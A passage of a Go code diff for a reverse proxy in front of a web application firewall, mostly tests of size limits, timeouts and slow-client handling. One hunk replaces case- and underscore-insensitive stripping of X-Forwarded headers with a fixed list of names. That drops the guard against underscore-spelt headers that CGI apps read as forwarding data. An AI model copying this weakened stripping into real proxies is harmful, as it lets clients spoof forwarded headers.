Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496,
|
|
||||||
Answered: now.Add(-time.Hour),
|
|
||||||
}
|
|
||||||
|
|
||||||
f.client.Load([]routewatch.Answer{kept, stale})
|
|
||||||
|
|
||||||
if got := f.client.Snapshot(); !slices.Equal(
|
|
||||||
got,
|
|
||||||
[]routewatch.Answer{kept},
|
|
||||||
) {
|
|
||||||
t.Errorf(
|
|
||||||
"kept %+v, want only the answer that came less than an hour ago",
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
route, missing := f.route()
|
|
||||||
|
|
||||||
want := routewatch.Route{Netblock: kept.Netblock, ASN: kept.ASN}
|
|
||||||
if route != want || missing != "" {
|
|
||||||
t.Errorf("route %+v (%q), want %+v", route, missing, want)
|
|
||||||
}
|
|
||||||
|
|
||||||
if got := f.queries.Load(); got != 0 {
|
|
||||||
t.Errorf(
|
|
||||||
"%d queries for a client with an answer loaded, want none",
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestLoadDropsTheAnswerThatCameLongestAgoFirst(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const maxAnswers = 100000
|
|
||||||
|
|
||||||
f := newFixture(t, answering(routedAnswer))
|
|
||||||
now := f.clk.Now()
|
|
||||||
|
|
||||||
// routewatch.json lists the answers by client. Here each came a
|
|
||||||
// millisecond before the one listed before it, so the last listed is
|
|
||||||
// the one that came longest ago, and the one dropped.
|
|
||||||
answers := make([]routewatch.Answer, maxAnswers+1)
|
|
||||||
addr := netip.MustParseAddr("10.0.0.0")
|
|
||||||
|
|
||||||
for i := range answers {
|
|
||||||
answers[i] = routewatch.Answer{
|
|
||||||
Client: netip.PrefixFrom(addr, addr.BitLen()),
|
|
||||||
Answered: now.Add(-time.Duration(i) * time.Millisecond),
|
|
||||||
}
|
|
||||||
addr = addr.Next()
|
|
||||||
}
|
|
||||||
|
|
||||||
f.client.Load(answers)
|
|
||||||
|
|
||||||
got := f.client.Snapshot()
|
|
||||||
if len(got) != maxAnswers {
|
|
||||||
t.Fatalf("%d answers kept, want %d", len(got), maxAnswers)
|
|
||||||
}
|
|
||||||
|
|
||||||
if got[0] != answers[0] || got[maxAnswers-1] != answers[maxAnswers-1] {
|
|
||||||
t.Errorf(
|
|
||||||
"answers kept from %s to %s, want from %s to %s",
|
|
||||||
got[0].Client,
|
|
||||||
got[maxAnswers-1].Client,
|
|
||||||
answers[0].Client,
|
|
||||||
answers[maxAnswers-1].Client,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -203,8 +203,7 @@ func (w *responseWriter) Write(p []byte) (int, error) {
|
|||||||
w.status = http.StatusOK
|
w.status = http.StatusOK
|
||||||
}
|
}
|
||||||
|
|
||||||
//nolint:gosec // the answer, as it was given
|
n, err := w.ResponseWriter.Write(p) //nolint:gosec // the answer, as it was given
|
||||||
n, err := w.ResponseWriter.Write(p)
|
|
||||||
w.bytes += int64(n)
|
w.bytes += int64(n)
|
||||||
|
|
||||||
return n, err
|
return n, err
|
||||||
@@ -219,8 +218,7 @@ func (w *responseWriter) FlushError() error {
|
|||||||
// Hijack takes over the connection to the visitor, which ReverseProxy does only
|
// Hijack takes over the connection to the visitor, which ReverseProxy does only
|
||||||
// to pass on the app's 101 Switching Protocols: that is then the status sent.
|
// to pass on the app's 101 Switching Protocols: that is then the status sent.
|
||||||
func (w *responseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) {
|
func (w *responseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) {
|
||||||
conn, buffered, err := http.NewResponseController(w.ResponseWriter).
|
conn, buffered, err := http.NewResponseController(w.ResponseWriter).Hijack()
|
||||||
Hijack()
|
|
||||||
if err == nil {
|
if err == nil {
|
||||||
w.status = http.StatusSwitchingProtocols
|
w.status = http.StatusSwitchingProtocols
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-13
@@ -83,11 +83,7 @@ func isInside(addr netip.Addr, netblocks []netip.Prefix) bool {
|
|||||||
// X-Forwarded-For. Those of any other peer are its own claims and are replaced:
|
// X-Forwarded-For. Those of any other peer are its own claims and are replaced:
|
||||||
// X-Forwarded-For names the peer, X-Forwarded-Host the host it asked for, and
|
// X-Forwarded-For names the peer, X-Forwarded-Host the host it asked for, and
|
||||||
// X-Forwarded-Proto plain http, which is how it reached rproxy.
|
// X-Forwarded-Proto plain http, which is how it reached rproxy.
|
||||||
func setForwardedHeaders(
|
func setForwardedHeaders(in, out *http.Request, peer netip.Addr, trusted bool) {
|
||||||
in, out *http.Request,
|
|
||||||
peer netip.Addr,
|
|
||||||
trusted bool,
|
|
||||||
) {
|
|
||||||
forwardedFor := peer.String()
|
forwardedFor := peer.String()
|
||||||
|
|
||||||
if trusted {
|
if trusted {
|
||||||
@@ -109,14 +105,15 @@ func setForwardedHeaders(
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// An app behind CGI or FastCGI reads X_Forwarded_Ssl as X-Forwarded-Ssl, so
|
// ReverseProxy has removed Forwarded and the three set below; these are the
|
||||||
// a name is matched with each _ read as - and in any letter case.
|
// other headers in which traefik tells the app about the visitor and its
|
||||||
for name := range out.Header {
|
// request.
|
||||||
spelt := strings.ToLower(strings.ReplaceAll(name, "_", "-"))
|
for _, name := range []string{
|
||||||
if strings.HasPrefix(spelt, "x-forwarded-") ||
|
"X-Forwarded-Port", "X-Forwarded-Server", "X-Forwarded-Uri",
|
||||||
spelt == "forwarded" || spelt == "x-real-ip" {
|
"X-Forwarded-Method", "X-Forwarded-Prefix", "X-Forwarded-Tls-Client-Cert",
|
||||||
delete(out.Header, name)
|
"X-Forwarded-Tls-Client-Cert-Info", "X-Real-Ip",
|
||||||
}
|
} {
|
||||||
|
out.Header.Del(name)
|
||||||
}
|
}
|
||||||
|
|
||||||
out.Header.Set("X-Forwarded-For", forwardedFor)
|
out.Header.Set("X-Forwarded-For", forwardedFor)
|
||||||
|
|||||||
+84
-326
@@ -12,6 +12,7 @@ import (
|
|||||||
"os"
|
"os"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"sync/atomic"
|
"sync/atomic"
|
||||||
"testing"
|
"testing"
|
||||||
"time"
|
"time"
|
||||||
@@ -34,15 +35,13 @@ func announcedLength(size int) string {
|
|||||||
func TestServerHasTheFixedLimits(t *testing.T) {
|
func TestServerHasTheFixedLimits(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg, err := config.RProxyFromEnvironment(
|
cfg, err := config.RProxyFromEnvironment(func(name string) (string, bool) {
|
||||||
func(name string) (string, bool) {
|
|
||||||
if name == "SWRP_WAF_BACKEND" {
|
if name == "SWRP_WAF_BACKEND" {
|
||||||
return nowhere, true
|
return nowhere, true
|
||||||
}
|
}
|
||||||
|
|
||||||
return "", false
|
return "", false
|
||||||
},
|
})
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("settings: %v", err)
|
t.Fatalf("settings: %v", err)
|
||||||
}
|
}
|
||||||
@@ -50,23 +49,14 @@ func TestServerHasTheFixedLimits(t *testing.T) {
|
|||||||
server := rproxy.New(rproxy.Params{
|
server := rproxy.New(rproxy.Params{
|
||||||
Config: cfg,
|
Config: cfg,
|
||||||
RequestLog: io.Discard,
|
RequestLog: io.Discard,
|
||||||
ProcessLog: requestlog.NewProcessLogger(
|
ProcessLog: requestlog.NewProcessLogger(io.Discard, "test", slog.LevelInfo),
|
||||||
io.Discard,
|
|
||||||
"test",
|
|
||||||
slog.LevelInfo,
|
|
||||||
),
|
|
||||||
})
|
})
|
||||||
|
|
||||||
if server.Addr != ":8080" || server.MaxHeaderBytes != 28<<10 ||
|
if server.Addr != ":8080" || server.MaxHeaderBytes != 28<<10 ||
|
||||||
server.IdleTimeout != 2*time.Minute || server.ReadHeaderTimeout != time.Minute {
|
server.IdleTimeout != 2*time.Minute || server.ReadHeaderTimeout != time.Minute {
|
||||||
t.Errorf(
|
t.Errorf("server listens on %q with header limit %d, idle time %s and "+
|
||||||
"server listens on %q with header limit %d, idle time %s and "+
|
"header timeout %s", server.Addr, server.MaxHeaderBytes,
|
||||||
"header timeout %s",
|
server.IdleTimeout, server.ReadHeaderTimeout)
|
||||||
server.Addr,
|
|
||||||
server.MaxHeaderBytes,
|
|
||||||
server.IdleTimeout,
|
|
||||||
server.ReadHeaderTimeout,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -87,14 +77,9 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
|
|||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||||
t.Error("the app was asked")
|
t.Error("the app was asked")
|
||||||
})
|
})
|
||||||
addr, _ := startRProxy(
|
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||||
t,
|
|
||||||
standIn.URL,
|
|
||||||
app.URL,
|
|
||||||
map[string]string{
|
|
||||||
maxRequestSize: tc.limit,
|
maxRequestSize: tc.limit,
|
||||||
},
|
})
|
||||||
)
|
|
||||||
|
|
||||||
got := visit(t, newRequest(t, http.MethodPost, addr, "/",
|
got := visit(t, newRequest(t, http.MethodPost, addr, "/",
|
||||||
bytes.NewReader(make([]byte, tc.size))))
|
bytes.NewReader(make([]byte, tc.size))))
|
||||||
@@ -103,11 +88,7 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if asked := standIn.question(t); len(asked.body) != tc.asked {
|
if asked := standIn.question(t); len(asked.body) != tc.asked {
|
||||||
t.Errorf(
|
t.Errorf("the question carries %d bytes, want %d", len(asked.body), tc.asked)
|
||||||
"the question carries %d bytes, want %d",
|
|
||||||
len(asked.body),
|
|
||||||
tc.asked,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
report := standIn.report(t)
|
report := standIn.report(t)
|
||||||
@@ -158,21 +139,13 @@ func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
|
|||||||
asked.Store(true)
|
asked.Store(true)
|
||||||
greet(w, r)
|
greet(w, r)
|
||||||
})
|
})
|
||||||
addr, _ := startRProxy(
|
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||||
t,
|
|
||||||
standIn.URL,
|
|
||||||
app.URL,
|
|
||||||
map[string]string{
|
|
||||||
maxRequestSize: tc.limit,
|
maxRequestSize: tc.limit,
|
||||||
},
|
})
|
||||||
)
|
|
||||||
|
|
||||||
conn := dial(t, addr)
|
conn := dial(t, addr)
|
||||||
send(t, conn, post+"Transfer-Encoding: chunked\r\n\r\n"+
|
send(t, conn, post+"Transfer-Encoding: chunked\r\n\r\n"+
|
||||||
strconv.FormatInt(
|
strconv.FormatInt(int64(tc.size), 16)+"\r\n"+strings.Repeat("x", tc.size)+
|
||||||
int64(tc.size),
|
|
||||||
16,
|
|
||||||
)+"\r\n"+strings.Repeat("x", tc.size)+
|
|
||||||
"\r\n0\r\n\r\n")
|
"\r\n0\r\n\r\n")
|
||||||
|
|
||||||
if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge {
|
if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge {
|
||||||
@@ -231,26 +204,17 @@ func TestAResponseOverItsLimit(t *testing.T) {
|
|||||||
|
|
||||||
text, err := io.ReadAll(conn)
|
text, err := io.ReadAll(conn)
|
||||||
if err != nil || bytes.Contains(text, []byte(large)) {
|
if err != nil || bytes.Contains(text, []byte(large)) {
|
||||||
t.Errorf(
|
t.Errorf("read %d bytes (%v), want the answer cut off", len(text), err)
|
||||||
"read %d bytes (%v), want the answer cut off",
|
|
||||||
len(text),
|
|
||||||
err,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
report := standIn.report(t)
|
report := standIn.report(t)
|
||||||
if report.Status != http.StatusOK || report.ResponseBytes > 1<<10 {
|
if report.Status != http.StatusOK || report.ResponseBytes > 1<<10 {
|
||||||
t.Errorf(
|
t.Errorf("report %+v, want status 200 and at most 1K of the answer", report)
|
||||||
"report %+v, want status 200 and at most 1K of the answer",
|
|
||||||
report,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn(
|
func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const announced = "2048"
|
const announced = "2048"
|
||||||
@@ -264,13 +228,8 @@ func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn(
|
|||||||
})
|
})
|
||||||
|
|
||||||
got := visit(t, newRequest(t, http.MethodHead, addr, "/", http.NoBody))
|
got := visit(t, newRequest(t, http.MethodHead, addr, "/", http.NoBody))
|
||||||
if got.status != http.StatusOK ||
|
if got.status != http.StatusOK || got.header.Get(contentLengthHeader) != announced {
|
||||||
got.header.Get(contentLengthHeader) != announced {
|
t.Errorf("answered %+v, want the app's 200 announcing %s bytes", got, announced)
|
||||||
t.Errorf(
|
|
||||||
"answered %+v, want the app's 200 announcing %s bytes",
|
|
||||||
got,
|
|
||||||
announced,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -285,22 +244,14 @@ func TestASettingOfOffSetsNoLimit(t *testing.T) {
|
|||||||
|
|
||||||
standIn := startWAF(t, allow)
|
standIn := startWAF(t, allow)
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, _ := startRProxy(
|
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||||
t,
|
|
||||||
standIn.URL,
|
|
||||||
app.URL,
|
|
||||||
map[string]string{
|
|
||||||
setting: "off",
|
setting: "off",
|
||||||
},
|
})
|
||||||
)
|
|
||||||
|
|
||||||
// A body and an answer that a limit of zero would cut off, as it would the
|
// A body and an answer that a limit of zero would cut off, as it would the
|
||||||
// next answer, which rproxy gives itself.
|
// next answer, which rproxy gives itself.
|
||||||
wantGreeting(
|
wantGreeting(t, visit(t, newRequest(t, http.MethodPost, addr, "/",
|
||||||
t,
|
strings.NewReader("a body"))))
|
||||||
visit(t, newRequest(t, http.MethodPost, addr, "/",
|
|
||||||
strings.NewReader("a body"))),
|
|
||||||
)
|
|
||||||
|
|
||||||
if got := get(t, addr, waf.HealthPath); got.status != http.StatusOK {
|
if got := get(t, addr, waf.HealthPath); got.status != http.StatusOK {
|
||||||
t.Errorf("answered %+v, want rproxy's own 200", got)
|
t.Errorf("answered %+v, want rproxy's own 200", got)
|
||||||
@@ -323,14 +274,9 @@ func TestAVisitorTooSlowToSendTheFirstPartIsAnswered408(t *testing.T) {
|
|||||||
|
|
||||||
standIn := startWAF(t, allow)
|
standIn := startWAF(t, allow)
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, out := startRProxy(
|
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||||
t,
|
|
||||||
standIn.URL,
|
|
||||||
app.URL,
|
|
||||||
map[string]string{
|
|
||||||
maxRequestTime: "500",
|
maxRequestTime: "500",
|
||||||
},
|
})
|
||||||
)
|
|
||||||
|
|
||||||
conn := dial(t, addr)
|
conn := dial(t, addr)
|
||||||
send(t, conn, post+tc.rest)
|
send(t, conn, post+tc.rest)
|
||||||
@@ -374,9 +320,7 @@ func TestAVisitorThatGoesAwayBeforeTheFirstPartIsNotAsked(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(
|
func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
@@ -413,11 +357,8 @@ func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(
|
|||||||
|
|
||||||
text, err := io.ReadAll(conn)
|
text, err := io.ReadAll(conn)
|
||||||
if err != nil || len(text) != 0 {
|
if err != nil || len(text) != 0 {
|
||||||
t.Errorf(
|
t.Errorf("read %q (%v), want the connection closed without an answer",
|
||||||
"read %q (%v), want the connection closed without an answer",
|
text, err)
|
||||||
text,
|
|
||||||
err,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
@@ -442,28 +383,13 @@ type deadlineRecorder struct {
|
|||||||
// stalled, if set, sends the part of the request body that never arrives. A
|
// stalled, if set, sends the part of the request body that never arrives. A
|
||||||
// read deadline that has passed ends a read of it, as on a connection.
|
// read deadline that has passed ends a read of it, as on a connection.
|
||||||
stalled *io.PipeWriter
|
stalled *io.PipeWriter
|
||||||
// flushError, if set, is what every flush returns, and nothing is flushed.
|
|
||||||
flushError error
|
|
||||||
}
|
|
||||||
|
|
||||||
// FlushError, which http.ResponseController calls to flush, returns flushError
|
|
||||||
// if it is set, and otherwise flushes.
|
|
||||||
func (w *deadlineRecorder) FlushError() error {
|
|
||||||
if w.flushError != nil {
|
|
||||||
return w.flushError
|
|
||||||
}
|
|
||||||
|
|
||||||
w.Flush()
|
|
||||||
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// SetReadDeadline notes deadline.
|
// SetReadDeadline notes deadline.
|
||||||
func (w *deadlineRecorder) SetReadDeadline(deadline time.Time) error {
|
func (w *deadlineRecorder) SetReadDeadline(deadline time.Time) error {
|
||||||
w.readDeadline = deadline
|
w.readDeadline = deadline
|
||||||
|
|
||||||
if w.stalled != nil && !deadline.IsZero() &&
|
if w.stalled != nil && !deadline.IsZero() && !deadline.After(time.Now()) {
|
||||||
!deadline.After(time.Now()) {
|
|
||||||
_ = w.stalled.CloseWithError(os.ErrDeadlineExceeded)
|
_ = w.stalled.CloseWithError(os.ErrDeadlineExceeded)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -500,22 +426,12 @@ func TestABodyLeftUnreadIsReadOnlyUntilTheRequestTimeLimit(t *testing.T) {
|
|||||||
|
|
||||||
t.Cleanup(func() { _ = stop.Close() })
|
t.Cleanup(func() { _ = stop.Close() })
|
||||||
|
|
||||||
req := httptest.NewRequestWithContext(
|
req := httptest.NewRequestWithContext(t.Context(), http.MethodPost, "/",
|
||||||
t.Context(),
|
io.MultiReader(bytes.NewReader(make([]byte, questionBodyMaxBytes+1)), stalled))
|
||||||
http.MethodPost,
|
|
||||||
"/",
|
|
||||||
io.MultiReader(
|
|
||||||
bytes.NewReader(make([]byte, questionBodyMaxBytes+1)),
|
|
||||||
stalled,
|
|
||||||
),
|
|
||||||
)
|
|
||||||
req.ContentLength = announced
|
req.ContentLength = announced
|
||||||
req.Header.Set(contentLengthHeader, strconv.Itoa(announced))
|
req.Header.Set(contentLengthHeader, strconv.Itoa(announced))
|
||||||
|
|
||||||
w := &deadlineRecorder{
|
w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder(), stalled: stop}
|
||||||
ResponseRecorder: httptest.NewRecorder(),
|
|
||||||
stalled: stop,
|
|
||||||
}
|
|
||||||
|
|
||||||
before := time.Now()
|
before := time.Now()
|
||||||
|
|
||||||
@@ -527,62 +443,8 @@ func TestABodyLeftUnreadIsReadOnlyUntilTheRequestTimeLimit(t *testing.T) {
|
|||||||
|
|
||||||
if w.readDeadline.Before(before.Add(limit)) ||
|
if w.readDeadline.Before(before.Add(limit)) ||
|
||||||
w.readDeadline.After(time.Now().Add(limit)) {
|
w.readDeadline.After(time.Now().Add(limit)) {
|
||||||
t.Errorf(
|
t.Errorf("the reading of the body ends at %s, want %s from the request",
|
||||||
"the reading of the body ends at %s, want %s from the request",
|
w.readDeadline, limit)
|
||||||
w.readDeadline,
|
|
||||||
limit,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestABodyLeftUnreadIsReadNoMoreOnceTheTimeToSendTheAnswerRunsOut(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
standIn := startWAF(t, allow)
|
|
||||||
app := startApp(t, answerBeforeTheBody)
|
|
||||||
_, _, server := startServer(t, standIn.URL, app.URL, nil)
|
|
||||||
|
|
||||||
// The visitor sends the first part and a little more, and then nothing.
|
|
||||||
stalled, stop := io.Pipe()
|
|
||||||
|
|
||||||
t.Cleanup(func() { _ = stop.Close() })
|
|
||||||
|
|
||||||
req := httptest.NewRequestWithContext(
|
|
||||||
t.Context(),
|
|
||||||
http.MethodPost,
|
|
||||||
"/",
|
|
||||||
io.MultiReader(
|
|
||||||
bytes.NewReader(make([]byte, questionBodyMaxBytes+1)),
|
|
||||||
stalled,
|
|
||||||
),
|
|
||||||
)
|
|
||||||
req.ContentLength = 2 * questionBodyMaxBytes
|
|
||||||
req.Header.Set(contentLengthHeader, strconv.Itoa(2*questionBodyMaxBytes))
|
|
||||||
|
|
||||||
// Every flush fails, as once the time to send the answer has run out. The
|
|
||||||
// default time limits are far longer than the test, so rproxy records no
|
|
||||||
// refusal.
|
|
||||||
w := &deadlineRecorder{
|
|
||||||
ResponseRecorder: httptest.NewRecorder(),
|
|
||||||
stalled: stop,
|
|
||||||
flushError: os.ErrDeadlineExceeded,
|
|
||||||
}
|
|
||||||
|
|
||||||
before := time.Now()
|
|
||||||
|
|
||||||
server.Handler.ServeHTTP(w, req)
|
|
||||||
|
|
||||||
if w.Code != http.StatusOK {
|
|
||||||
t.Errorf("status %d, want the app's 200", w.Code)
|
|
||||||
}
|
|
||||||
|
|
||||||
if w.readDeadline.Before(before) || w.readDeadline.After(time.Now()) {
|
|
||||||
t.Errorf(
|
|
||||||
"the reading of the body ends at %s, want now",
|
|
||||||
w.readDeadline,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -603,24 +465,12 @@ func TestAnAnswerRProxyGivesItselfHasTheResponseTimeToBeSent(t *testing.T) {
|
|||||||
|
|
||||||
standIn := startWAF(t, deny)
|
standIn := startWAF(t, deny)
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
_, _, server := startServer(
|
_, _, server := startServer(t, standIn.URL, app.URL, map[string]string{
|
||||||
t,
|
maxResponseTime: strconv.FormatInt(limit.Milliseconds(), 10),
|
||||||
standIn.URL,
|
})
|
||||||
app.URL,
|
|
||||||
map[string]string{
|
|
||||||
maxResponseTime: strconv.FormatInt(
|
|
||||||
limit.Milliseconds(),
|
|
||||||
10,
|
|
||||||
),
|
|
||||||
},
|
|
||||||
)
|
|
||||||
|
|
||||||
req := httptest.NewRequestWithContext(
|
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, tc.target,
|
||||||
t.Context(),
|
http.NoBody)
|
||||||
http.MethodGet,
|
|
||||||
tc.target,
|
|
||||||
http.NoBody,
|
|
||||||
)
|
|
||||||
w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()}
|
w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()}
|
||||||
|
|
||||||
before := time.Now()
|
before := time.Now()
|
||||||
@@ -633,19 +483,14 @@ func TestAnAnswerRProxyGivesItselfHasTheResponseTimeToBeSent(t *testing.T) {
|
|||||||
|
|
||||||
if w.writeDeadline.Before(before.Add(limit)) ||
|
if w.writeDeadline.Before(before.Add(limit)) ||
|
||||||
w.writeDeadline.After(time.Now().Add(limit)) {
|
w.writeDeadline.After(time.Now().Add(limit)) {
|
||||||
t.Errorf(
|
t.Errorf("the time limit on sending ends at %s, want %s from the answer",
|
||||||
"the time limit on sending ends at %s, want %s from the answer",
|
w.writeDeadline, limit)
|
||||||
w.writeDeadline,
|
|
||||||
limit,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(
|
func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const least = 10 * time.Second
|
const least = 10 * time.Second
|
||||||
@@ -656,12 +501,7 @@ func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(
|
|||||||
maxResponseTime: "300",
|
maxResponseTime: "300",
|
||||||
})
|
})
|
||||||
|
|
||||||
req := httptest.NewRequestWithContext(
|
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
|
||||||
t.Context(),
|
|
||||||
http.MethodGet,
|
|
||||||
"/",
|
|
||||||
http.NoBody,
|
|
||||||
)
|
|
||||||
w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()}
|
w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()}
|
||||||
|
|
||||||
before := time.Now()
|
before := time.Now()
|
||||||
@@ -669,11 +509,8 @@ func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(
|
|||||||
server.Handler.ServeHTTP(w, req)
|
server.Handler.ServeHTTP(w, req)
|
||||||
|
|
||||||
if w.writeDeadline.Before(before.Add(least)) {
|
if w.writeDeadline.Before(before.Add(least)) {
|
||||||
t.Errorf(
|
t.Errorf("the time limit on sending ends at %s, want %s from the answer at least",
|
||||||
"the time limit on sending ends at %s, want %s from the answer at least",
|
w.writeDeadline, least)
|
||||||
w.writeDeadline,
|
|
||||||
least,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -694,9 +531,7 @@ func TestAVisitorTooSlowToSendTheRestIsAnswered408(t *testing.T) {
|
|||||||
t.Errorf("status %d, want 408", status)
|
t.Errorf("status %d, want 408", status)
|
||||||
}
|
}
|
||||||
|
|
||||||
if asked := standIn.question(t); len(
|
if asked := standIn.question(t); len(asked.body) != questionBodyMaxBytes {
|
||||||
asked.body,
|
|
||||||
) != questionBodyMaxBytes {
|
|
||||||
t.Errorf("the question carries %d bytes", len(asked.body))
|
t.Errorf("the question carries %d bytes", len(asked.body))
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -710,11 +545,7 @@ func TestAVisitorTooSlowToSendTheRestIsAnswered408(t *testing.T) {
|
|||||||
func startAppThatTakesNothing(t *testing.T) string {
|
func startAppThatTakesNothing(t *testing.T) string {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
listener, err := (&net.ListenConfig{}).Listen(
|
listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
|
||||||
t.Context(),
|
|
||||||
"tcp",
|
|
||||||
localhost+":0",
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("listen: %v", err)
|
t.Fatalf("listen: %v", err)
|
||||||
}
|
}
|
||||||
@@ -803,9 +634,7 @@ func TestAnAppTooSlowToAnswerIsAnswered504(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestAVisitorGetsAnAnswerWhenTheAppAnswersAsTheTimeRunsOut(
|
func TestAVisitorGetsAnAnswerWhenTheAppAnswersAsTheTimeRunsOut(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// Four visitors at a time, each with an app and rproxy of its own, send more
|
// Four visitors at a time, each with an app and rproxy of its own, send more
|
||||||
@@ -904,13 +733,8 @@ func TestAnAppTooSlowToFinishItsAnswerIsCutOff(t *testing.T) {
|
|||||||
|
|
||||||
if res.StatusCode != http.StatusOK || string(body) != start ||
|
if res.StatusCode != http.StatusOK || string(body) != start ||
|
||||||
!errors.Is(err, io.ErrUnexpectedEOF) {
|
!errors.Is(err, io.ErrUnexpectedEOF) {
|
||||||
t.Errorf(
|
t.Errorf("answered %d %q (%v), want the app's 200 %q, then the connection closed",
|
||||||
"answered %d %q (%v), want the app's 200 %q, then the connection closed",
|
res.StatusCode, body, err, start)
|
||||||
res.StatusCode,
|
|
||||||
body,
|
|
||||||
err,
|
|
||||||
start,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if report := standIn.report(t); report.Status != http.StatusOK {
|
if report := standIn.report(t); report.Status != http.StatusOK {
|
||||||
@@ -951,17 +775,13 @@ func TestAVisitorTooSlowToTakeTheAnswerIsCutOff(t *testing.T) {
|
|||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
|
|
||||||
responseBytes, _ := line["response_bytes"].(float64)
|
responseBytes, _ := line["response_bytes"].(float64)
|
||||||
if line["status"] != float64(http.StatusOK) ||
|
if line["status"] != float64(http.StatusOK) || responseBytes >= bodySize {
|
||||||
responseBytes >= bodySize {
|
|
||||||
t.Errorf("line %v, want status 200 and the answer cut off", line)
|
t.Errorf("line %v, want status 200 and the answer cut off", line)
|
||||||
}
|
}
|
||||||
|
|
||||||
report := standIn.report(t)
|
report := standIn.report(t)
|
||||||
if report.Status != http.StatusOK || report.ResponseBytes >= bodySize {
|
